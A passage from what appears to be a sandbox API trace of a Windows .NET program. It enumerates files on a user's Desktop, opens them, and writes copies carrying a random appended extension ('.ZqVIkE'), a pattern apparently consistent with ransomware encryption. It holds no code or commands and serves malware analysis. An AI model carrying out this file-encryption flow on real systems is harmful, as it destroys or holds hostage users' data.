hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80695d70, ftCreationTime.dwHighDateTime=0x1d63211, ftLastAccessTime.dwLowDateTime=0x499ae930, ftLastAccessTime.dwHighDateTime=0x1d62a69, ftLastWriteTime.dwLowDateTime=0x499ae930, ftLastWriteTime.dwHighDateTime=0x1d62a69, nFileSizeHigh=0x0, nFileSizeLow=0x4a4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="R3p y ootSEDXa.csv", cAlternateFileName="R3PYOO~1.CSV")) returned 1 [0049.934] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a60fa90, ftCreationTime.dwHighDateTime=0x1d627df, ftLastAccessTime.dwLowDateTime=0x380a77a0, ftLastAccessTime.dwHighDateTime=0x1d62f44, ftLastWriteTime.dwLowDateTime=0x380a77a0, ftLastWriteTime.dwHighDateTime=0x1d62f44, nFileSizeHigh=0x0, nFileSizeLow=0x163dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="RjRSPeb9rmoZaa.wav", cAlternateFileName="RJRSPE~1.WAV")) returned 1 [0049.934] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7253a270, ftCreationTime.dwHighDateTime=0x1d62ab1, ftLastAccessTime.dwLowDateTime=0x69b803f0, ftLastAccessTime.dwHighDateTime=0x1d63253, ftLastWriteTime.dwLowDateTime=0x69b803f0, ftLastWriteTime.dwHighDateTime=0x1d63253, nFileSizeHigh=0x0, nFileSizeLow=0xbf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="rsV-377XVi.mp4", cAlternateFileName="RSV-37~1.MP4")) returned 1 [0049.934] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd140, ftCreationTime.dwHighDateTime=0x1d6316c, ftLastAccessTime.dwLowDateTime=0xf47892a0, ftLastAccessTime.dwHighDateTime=0x1d628e6, ftLastWriteTime.dwLowDateTime=0xf47892a0, ftLastWriteTime.dwHighDateTime=0x1d628e6, nFileSizeHigh=0x0, nFileSizeLow=0xef45, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRJE5z5.jpg", cAlternateFileName="")) returned 1 [0049.934] FindNextFileW (in: hFindFile=0x9b9c90, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd140, ftCreationTime.dwHighDateTime=0x1d6316c, ftLastAccessTime.dwLowDateTime=0xf47892a0, ftLastAccessTime.dwHighDateTime=0x1d628e6, ftLastWriteTime.dwLowDateTime=0xf47892a0, ftLastWriteTime.dwHighDateTime=0x1d628e6, nFileSizeHigh=0x0, nFileSizeLow=0xef45, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRJE5z5.jpg", cAlternateFileName="")) returned 0 [0049.934] FindClose (in: hFindFile=0x9b9c90 | out: hFindFile=0x9b9c90) returned 1 [0049.934] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d08cb80, ftCreationTime.dwHighDateTime=0x1d6324c, ftLastAccessTime.dwLowDateTime=0x7a9cbcd0, ftLastAccessTime.dwHighDateTime=0x1d628f1, ftLastWriteTime.dwLowDateTime=0x7a9cbcd0, ftLastWriteTime.dwHighDateTime=0x1d628f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b9e70 [0049.934] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d08cb80, ftCreationTime.dwHighDateTime=0x1d6324c, ftLastAccessTime.dwLowDateTime=0x7a9cbcd0, ftLastAccessTime.dwHighDateTime=0x1d628f1, ftLastWriteTime.dwLowDateTime=0x7a9cbcd0, ftLastWriteTime.dwHighDateTime=0x1d628f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.934] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe034f750, ftCreationTime.dwHighDateTime=0x1d623a2, ftLastAccessTime.dwLowDateTime=0xd5965680, ftLastAccessTime.dwHighDateTime=0x1d6265a, ftLastWriteTime.dwLowDateTime=0xd5965680, ftLastWriteTime.dwHighDateTime=0x1d6265a, nFileSizeHigh=0x0, nFileSizeLow=0x4285, dwReserved0=0x0, dwReserved1=0x0, cFileName="BwJ0o.pdf", cAlternateFileName="")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7ecb400, ftCreationTime.dwHighDateTime=0x1d631a8, ftLastAccessTime.dwLowDateTime=0x912caeb0, ftLastAccessTime.dwHighDateTime=0x1d62a3b, ftLastWriteTime.dwLowDateTime=0x912caeb0, ftLastWriteTime.dwHighDateTime=0x1d62a3b, nFileSizeHigh=0x0, nFileSizeLow=0x57f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="eY7Vy fW9.avi", cAlternateFileName="EY7VYF~1.AVI")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82e3ed0, ftCreationTime.dwHighDateTime=0x1d62b6a, ftLastAccessTime.dwLowDateTime=0xaeac4f50, ftLastAccessTime.dwHighDateTime=0x1d6238c, ftLastWriteTime.dwLowDateTime=0xaeac4f50, ftLastWriteTime.dwHighDateTime=0x1d6238c, nFileSizeHigh=0x0, nFileSizeLow=0xe269, dwReserved0=0x0, dwReserved1=0x0, cFileName="FkeLyGSgPK Fr.wav", cAlternateFileName="FKELYG~1.WAV")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48c23340, ftCreationTime.dwHighDateTime=0x1d631fa, ftLastAccessTime.dwLowDateTime=0x810a00f0, ftLastAccessTime.dwHighDateTime=0x1d622c0, ftLastWriteTime.dwLowDateTime=0x810a00f0, ftLastWriteTime.dwHighDateTime=0x1d622c0, nFileSizeHigh=0x0, nFileSizeLow=0xe10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="gSZ285dW.wav", cAlternateFileName="")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db96df0, ftCreationTime.dwHighDateTime=0x1d62f04, ftLastAccessTime.dwLowDateTime=0x2103b6a0, ftLastAccessTime.dwHighDateTime=0x1d62dcf, ftLastWriteTime.dwLowDateTime=0x2103b6a0, ftLastWriteTime.dwHighDateTime=0x1d62dcf, nFileSizeHigh=0x0, nFileSizeLow=0x93ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="k7jXCNM8fl.docx", cAlternateFileName="K7JXCN~1.DOC")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937aef60, ftCreationTime.dwHighDateTime=0x1d625a4, ftLastAccessTime.dwLowDateTime=0x6bfa97e0, ftLastAccessTime.dwHighDateTime=0x1d62e98, ftLastWriteTime.dwLowDateTime=0x6bfa97e0, ftLastWriteTime.dwHighDateTime=0x1d62e98, nFileSizeHigh=0x0, nFileSizeLow=0x5725, dwReserved0=0x0, dwReserved1=0x0, cFileName="kzPyrdL.mp4", cAlternateFileName="")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69ef5f0, ftCreationTime.dwHighDateTime=0x1d6311a, ftLastAccessTime.dwLowDateTime=0x742d8fb0, ftLastAccessTime.dwHighDateTime=0x1d62e2c, ftLastWriteTime.dwLowDateTime=0x742d8fb0, ftLastWriteTime.dwHighDateTime=0x1d62e2c, nFileSizeHigh=0x0, nFileSizeLow=0x2cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lHl2bH6.wav", cAlternateFileName="")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2df9d60, ftCreationTime.dwHighDateTime=0x1d62ad3, ftLastAccessTime.dwLowDateTime=0x331bef50, ftLastAccessTime.dwHighDateTime=0x1d62f56, ftLastWriteTime.dwLowDateTime=0x331bef50, ftLastWriteTime.dwHighDateTime=0x1d62f56, nFileSizeHigh=0x0, nFileSizeLow=0x15a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="oYho9.flv", cAlternateFileName="")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4629790, ftCreationTime.dwHighDateTime=0x1d630ec, ftLastAccessTime.dwLowDateTime=0x3b2b770, ftLastAccessTime.dwHighDateTime=0x1d62c78, ftLastWriteTime.dwLowDateTime=0x3b2b770, ftLastWriteTime.dwHighDateTime=0x1d62c78, nFileSizeHigh=0x0, nFileSizeLow=0x1ca1, dwReserved0=0x0, dwReserved1=0x0, cFileName="QS5UgW9cjDzUPM.flv", cAlternateFileName="QS5UGW~1.FLV")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80695d70, ftCreationTime.dwHighDateTime=0x1d63211, ftLastAccessTime.dwLowDateTime=0x499ae930, ftLastAccessTime.dwHighDateTime=0x1d62a69, ftLastWriteTime.dwLowDateTime=0x499ae930, ftLastWriteTime.dwHighDateTime=0x1d62a69, nFileSizeHigh=0x0, nFileSizeLow=0x4a4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="R3p y ootSEDXa.csv", cAlternateFileName="R3PYOO~1.CSV")) returned 1 [0049.935] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a60fa90, ftCreationTime.dwHighDateTime=0x1d627df, ftLastAccessTime.dwLowDateTime=0x380a77a0, ftLastAccessTime.dwHighDateTime=0x1d62f44, ftLastWriteTime.dwLowDateTime=0x380a77a0, ftLastWriteTime.dwHighDateTime=0x1d62f44, nFileSizeHigh=0x0, nFileSizeLow=0x163dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="RjRSPeb9rmoZaa.wav", cAlternateFileName="RJRSPE~1.WAV")) returned 1 [0049.936] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7253a270, ftCreationTime.dwHighDateTime=0x1d62ab1, ftLastAccessTime.dwLowDateTime=0x69b803f0, ftLastAccessTime.dwHighDateTime=0x1d63253, ftLastWriteTime.dwLowDateTime=0x69b803f0, ftLastWriteTime.dwHighDateTime=0x1d63253, nFileSizeHigh=0x0, nFileSizeLow=0xbf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="rsV-377XVi.mp4", cAlternateFileName="RSV-37~1.MP4")) returned 1 [0049.936] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd140, ftCreationTime.dwHighDateTime=0x1d6316c, ftLastAccessTime.dwLowDateTime=0xf47892a0, ftLastAccessTime.dwHighDateTime=0x1d628e6, ftLastWriteTime.dwLowDateTime=0xf47892a0, ftLastWriteTime.dwHighDateTime=0x1d628e6, nFileSizeHigh=0x0, nFileSizeLow=0xef45, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRJE5z5.jpg", cAlternateFileName="")) returned 1 [0049.936] FindNextFileW (in: hFindFile=0x9b9e70, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0049.936] FindClose (in: hFindFile=0x9b9e70 | out: hFindFile=0x9b9e70) returned 1 [0049.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ee10) returned 1 [0049.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71edd0) returned 1 [0050.481] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5q0zODZ-LfMVxb3ilnOK.gif.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5q0zODZ-LfMVxb3ilnOK.gif.ZqVIkE", lpFilePart=0x0) returned 0x37 [0050.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0050.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\5q0zODZ-LfMVxb3ilnOK.gif.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\5q0zodz-lfmvxb3ilnok.gif.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0050.482] GetFileType (hFile=0x2ec) returned 0x1 [0050.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0050.482] GetFileType (hFile=0x2ec) returned 0x1 [0050.490] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x71eed0 | out: pfEnabled=0x71eed0) returned 0x0 [0051.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\5q0zODZ-LfMVxb3ilnOK.gif", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\5q0zODZ-LfMVxb3ilnOK.gif", lpFilePart=0x0) returned 0x30 [0051.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0051.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\5q0zODZ-LfMVxb3ilnOK.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\5q0zodz-lfmvxb3ilnok.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x330 [0051.428] GetFileType (hFile=0x330) returned 0x1 [0051.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0051.428] GetFileType (hFile=0x330) returned 0x1 [0051.430] ReadFile (in: hFile=0x330, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0xe4b1, lpOverlapped=0x0) returned 1 [0051.449] GetCurrentProcess () returned 0xffffffffffffffff [0051.451] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x71ef10, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x71ef10*=0x32c) returned 1 [0051.621] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc151 [0051.621] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc197 [0051.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FMQfOR9qzmUMMeEO.exe.config", nBufferLength=0x105, lpBuffer=0x71e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\FMQfOR9qzmUMMeEO.exe.config", lpFilePart=0x0) returned 0x33 [0052.387] GetCurrentProcess () returned 0xffffffffffffffff [0052.388] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x71e5b8 | out: TokenHandle=0x71e5b8*=0x334) returned 1 [0052.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x71df90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0052.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x71e660 | out: lpFileInformation=0x71e660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0052.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x71dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0052.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x71e658 | out: lpFileInformation=0x71e658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0052.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x71dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0052.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71e4d0) returned 1 [0052.394] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x338 [0052.394] GetFileType (hFile=0x338) returned 0x1 [0052.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71e440) returned 1 [0052.394] GetFileType (hFile=0x338) returned 0x1 [0052.426] GetFileSize (in: hFile=0x338, lpFileSizeHigh=0x71e5a8 | out: lpFileSizeHigh=0x71e5a8*=0x0) returned 0x8c8f [0052.426] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71e518, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71e518*=0x1000, lpOverlapped=0x0) returned 1 [0052.437] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71e2c8, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71e2c8*=0x1000, lpOverlapped=0x0) returned 1 [0052.438] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71e098, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71e098*=0x1000, lpOverlapped=0x0) returned 1 [0052.438] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71e098, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71e098*=0x1000, lpOverlapped=0x0) returned 1 [0052.438] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71e098, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71e098*=0x1000, lpOverlapped=0x0) returned 1 [0052.438] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71df38, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71df38*=0x1000, lpOverlapped=0x0) returned 1 [0052.441] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71e1d8, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71e1d8*=0x1000, lpOverlapped=0x0) returned 1 [0052.442] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71e0c8, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71e0c8*=0x1000, lpOverlapped=0x0) returned 1 [0052.442] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71e0c8, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71e0c8*=0xc8f, lpOverlapped=0x0) returned 1 [0052.442] ReadFile (in: hFile=0x338, lpBuffer=0x26981d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x71e1d8, lpOverlapped=0x0 | out: lpBuffer=0x26981d0*, lpNumberOfBytesRead=0x71e1d8*=0x0, lpOverlapped=0x0) returned 1 [0052.443] CloseHandle (hObject=0x338) returned 1 [0052.443] GetCurrentProcess () returned 0xffffffffffffffff [0052.444] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x71e778 | out: TokenHandle=0x71e778*=0x338) returned 1 [0052.444] GetCurrentProcess () returned 0xffffffffffffffff [0052.444] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x71e778 | out: TokenHandle=0x71e778*=0x33c) returned 1 [0052.445] GetCurrentProcess () returned 0xffffffffffffffff [0052.445] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x71e5b8 | out: TokenHandle=0x71e5b8*=0x340) returned 1 [0052.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FMQfOR9qzmUMMeEO.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\fmqfor9qzmummeeo.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x71e660 | out: lpFileInformation=0x71e660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0052.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FMQfOR9qzmUMMeEO.exe.config", nBufferLength=0x105, lpBuffer=0x71dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\FMQfOR9qzmUMMeEO.exe.config", lpFilePart=0x0) returned 0x33 [0052.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\FMQfOR9qzmUMMeEO.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\fmqfor9qzmummeeo.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x71e658 | out: lpFileInformation=0x71e658*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0052.446] GetCurrentProcess () returned 0xffffffffffffffff [0052.446] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x71e778 | out: TokenHandle=0x71e778*=0x344) returned 1 [0052.446] GetCurrentProcess () returned 0xffffffffffffffff [0052.446] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x71e778 | out: TokenHandle=0x71e778*=0x348) returned 1 [0052.495] GetCurrentProcess () returned 0xffffffffffffffff [0052.495] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x71e488 | out: TokenHandle=0x71e488*=0x34c) returned 1 [0052.516] GetCurrentProcess () returned 0xffffffffffffffff [0052.516] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x71e498 | out: TokenHandle=0x71e498*=0x350) returned 1 [0052.590] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0052.592] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7fff37720000 [0053.098] GetModuleHandleW (lpModuleName="user32.dll") returned 0x7fff5c9e0000 [0053.098] GetProcAddress (hModule=0x7fff5c9e0000, lpProcName="DefWindowProcW") returned 0x7fff5d5d5090 [0053.099] GetStockObject (i=5) returned 0x900015 [0053.101] GetModuleHandleW (lpModuleName=0x0) returned 0x390000 [0053.104] CoTaskMemAlloc (cb=0x5a) returned 0x9b47c0 [0053.104] RegisterClassW (lpWndClass=0x71e970) returned 0xc196 [0053.104] CoTaskMemFree (pv=0x9b47c0) [0053.104] GetModuleHandleW (lpModuleName=0x0) returned 0x390000 [0053.105] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.34f5582_r6_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x390000, lpParam=0x0) returned 0x7014c [0053.108] SetWindowLongPtrW (hWnd=0x7014c, nIndex=-4, dwNewLong=0x7fff5d5d5090) returned 0x1b27086c [0053.111] GetWindowLongPtrW (hWnd=0x7014c, nIndex=-4) returned 0x7fff5d5d5090 [0053.115] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x71dce8 | out: phkResult=0x71dce8*=0x360) returned 0x0 [0053.116] RegQueryValueExW (in: hKey=0x360, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x71dd38, lpData=0x0, lpcbData=0x71dd30*=0x0 | out: lpType=0x71dd38*=0x0, lpData=0x0, lpcbData=0x71dd30*=0x0) returned 0x2 [0053.116] RegQueryValueExW (in: hKey=0x360, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x71dd38, lpData=0x0, lpcbData=0x71dd30*=0x0 | out: lpType=0x71dd38*=0x0, lpData=0x0, lpcbData=0x71dd30*=0x0) returned 0x2 [0053.116] RegCloseKey (hKey=0x360) returned 0x0 [0053.117] SetWindowLongPtrW (hWnd=0x7014c, nIndex=-4, dwNewLong=0x1b2708bc) returned 0x7fff5d5d5090 [0053.117] GetWindowLongPtrW (hWnd=0x7014c, nIndex=-4) returned 